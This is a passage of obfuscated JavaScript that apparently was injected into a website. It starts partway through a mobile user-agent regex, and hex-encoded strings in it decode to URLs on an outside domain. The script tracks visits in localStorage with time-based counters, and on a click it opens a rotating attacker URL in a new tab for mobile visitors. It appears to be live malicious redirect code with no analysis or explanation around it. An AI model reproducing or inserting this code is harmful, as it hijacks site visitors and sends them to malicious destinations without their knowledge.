)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x4a\x57\x52\x30\x63\x300','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6e\x51\x48\x31\x63\x391',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());